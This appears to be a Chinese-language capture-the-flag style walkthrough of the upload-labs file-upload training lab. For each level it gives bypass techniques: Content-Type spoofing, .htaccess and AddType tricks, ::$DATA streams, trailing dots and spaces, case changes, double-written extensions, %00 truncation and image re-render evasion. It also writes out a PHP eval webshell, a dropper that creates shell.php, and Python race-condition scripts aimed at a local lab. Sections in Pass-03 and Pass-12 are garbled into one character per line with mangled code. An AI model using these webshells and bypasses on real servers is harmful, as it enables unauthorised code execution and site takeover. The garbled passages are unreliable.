upload.test

Pass-01

删除check方法return checkFile() 如果浏览器不允许修改前端代码,就使用抓包工具修改
然后上传一句话木马
Pass-02
后端校验content-type


把typege更改成image/jpeg
Pass-03
php::
D
A
T
A
相
当
于
1.
p
h
p
2.
p
h
p
:
a
.
j
p
g
会
生
成
2.
p
h
p
但
内
容
是
在
我
们
2.
p
h
p
:
a
.
j
p
g
中
(
不
用
这
个
)
双
写
:
:
DATA 相当于1.php 2.php:a.jpg 会生成2.php 但内容是在我们2.php:a.jpg中(不用这个) 双写::
DATA相当于1.php2.php:a.jpg会生成2.php但内容是在我们2.php:a.jpg中(不用这个)双写::DATA-> ::
D
A
T
:
:
DAT::
DAT::DATAA,因为会去掉一个

AddType application/x-httpd-php .php .phtml 解析.phtml和php后缀
创建这个文件先上传这个

然后再把1.php的文件名更改为phtml 再上传就可以了
Pass-04
双写::$DATA同样可以使用
htaccess文件 AddType application/x-httpd-php .jpg 解析jpg图片
更改1.php的文件名为1.jpg 上传就行了
利用apache解析:从后往前解析,遇到解析不出来的后缀会像前解析 1.php.xxx xxx代表不存在解析名称
更改1.php的文件名为1.php.abc
Pass-05
双写::$DATA同样可以使用
利用apache解析:从后往前解析,遇到解析不出来的后缀会像前解析 1.php.xxx xxx代表不存在解析名称
更改1.php的文件名为1.php.abc 这个是有条件的,如果不能解析shell.php.xxx ,说明httpd.conf 中没有增加 .php 解析 需要在httpd.conf中加入: AddType application/x-httpd-php .php

1.php. .也可以
Pass-06
使用burp爆破,尝试各种后缀名,最后发现 phP、Php、php1、php7等没有被限制(注意:爆破只能是字母加数字,特殊符号会被url编码导致文件名后缀错误) 那么可以上传一个 1.phP ,因为windows下面可以忽略大小写,所以可以执行这个php文件,如果在linux下不能运行
双写::$DATA同样可以使用
Pass-07
双写::$DATA同样可以使用
从源码中看出,没有对文件后缀的空格进行过滤,所以可以在1.php 后面加一个空格,可以使用burp抓包后修改后缀名 注意:在windows下可以执行,因为windows会忽略后缀的空格,在linux下不可以
Pass-08
这一关过滤了所有的后缀名,然后去除了首尾空格,我们发现可以在文件末尾加 点号. 绕过,然后在windows中如果执行末尾为点号的,会将点号去除
可以使用 shell.php.abc ,从右往左不能解析abc,就去解析php,按照php执行
双写::$DATA同样可以使用
Pass-09
没有过滤data 1.php::$DATA就可以了
Pass-10
双写::$DATA同样可以使用
php 抓包修改为 1.php. .
更改1.php的文件名为1.php.abc
Pass-11
没有过滤data 1.php::$DATA就可以了
双写绕过 1.pphphp 但是切记不能phphpp 因为会把前面的php去掉
Pass-12
后端采用白名单判断,但图片的路径是直接拼接出,例如: $img_path =
G
E
T
[
′
s
a
v
e
p
a
t
h
′
]
.
"
/
"
.
r
a
n
d
(
10
,
99
)
.
d
a
t
e
(
"
Y
m
d
H
i
s
"
)
.
"
.
"
.
_GET['save_path']."/".rand(10, 99).date("YmdHis").".".
G?ET[′savep?ath′]."/".rand(10,99).date("YmdHis").".".file_ext; 可以利用%00截断绕过(传入save_path 参数时加上),但是有条件
1、必须php的版本小于5.3.4 2、php的magic_quotes_gpc为off的状态 绕过:首先抓包修改name=1.jpg 类型改为:Content-type:image/jpeg 然后修改sava_path, 加上 /1.php/%00 注意:可以使用 /1.php%00 (不加/) 最后使用1.php访问页面



删掉后面的就可以了 然后出来的是一个空白的页面,但是是成功了的,上传POST参数就行了
Post-13
和pass-12类似,也是00截断 但是这里是POST传值,不能直接对%00进行解码 可通过burp抓包后在 …/upload/1.php+ 后面增加一个+号,然后在hex中,将+对应的hex 2b 更改为00,就可以了


在hex里面把+号的2b改成了00


然后同上
Post-14

上传加了木马的图片后,点击这里,然后 
这个是因为路径错了

这样就可以了
Post-15
和post-14一模一样的操作,
还可以绕过文件头检查,添加GIF图片的文件头GIF89a,绕过GIF图片检查。
Post-16
源码错了
Post-17
重新渲染了图片,我们可以先上传一张,成功后下载,在HXD软件上对比,看有什么地方没有被渲染更改,然后再其中写入一句话木马

然后再上传就好了
Post-18
条件竞争

写一个木马 18.php
<?php
echo md5(1);
fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>');
?>
木马上传成功的话,会输出一个1 并创建一个shell.php 里面写入一句话木马
写一个exp.py的脚本用来触发18.php并验证是否成功插入
import requests
def main():
i=0
while 1:
try:
print(i,end='\r')
a = requests.get("http://127.0.0.1/labs/upload-labs-master/upload/18.php")
if "c4ca4238a0b923820dcc509a6f75849b" in a.text:
print( "OK")
break
except Exception as e:
pass
i+=1
main()
requests.get后面跟文件的路径
c4ca4238a0b923820dcc509a6f75849b=1

发送到这里,清除所有$,因为要一直发送完整的包,趁系统没注意插进去



脚本跑起来后,开始攻击,如果python没有安装requests模块,可以用pip install requests 安装


最后访问shell.php的位置 空白
再输入post参数 1=phpinfo();验证成功
Post-19
条件竞争,首先分析源码
这里是部分代码
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};

审计后,发现文件的白名单有这些,发现代码不全,于是乎,我打开完整的代码开始审计

发现19关文件上传保存的地址为空,也就是说保存在与upload同级的目录下,而不是和18关保存在upload里面一样


根据这行代码可知,最后文件名字会被改成8个随机字母

这是检查文件后缀名的定义函数

在上传文件后,会立马有一个在文件名前面加一个upload的操作

根据代码运行逻辑可知,如果文件类型不通过,根本不会执行后面的移动文件,所以就没有机会了,也不能上传文件包含,所以只能通过白名单,浏览器遇到不能解析的后缀时,会向前解析,经过尝试后,发现只有 7z结尾的后缀不会被解析,所以尝试上传1.php.7z 上传成功,但是文件里的php后缀会被删除,所以得利用条件竞争,在重命名前执行木马,接下来就是写一个19.php.7z
<?php
echo md5(1);
fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>');
?>
再写一个19.py
import requests
def main():
i=0
while 1:
try:
print(i,end='\r')
a = requests.get("http://127.0.0.1/labs/upload-labs-master/upload19.php.7z")
if "c4ca4238a0b923820dcc509a6f75849b" in a.text:
print( "OK")
break
except Exception as e:
pass
i+=1
main()
然后执行和18关一样的操作,最后成功!

最后通过shell工具连接就行

|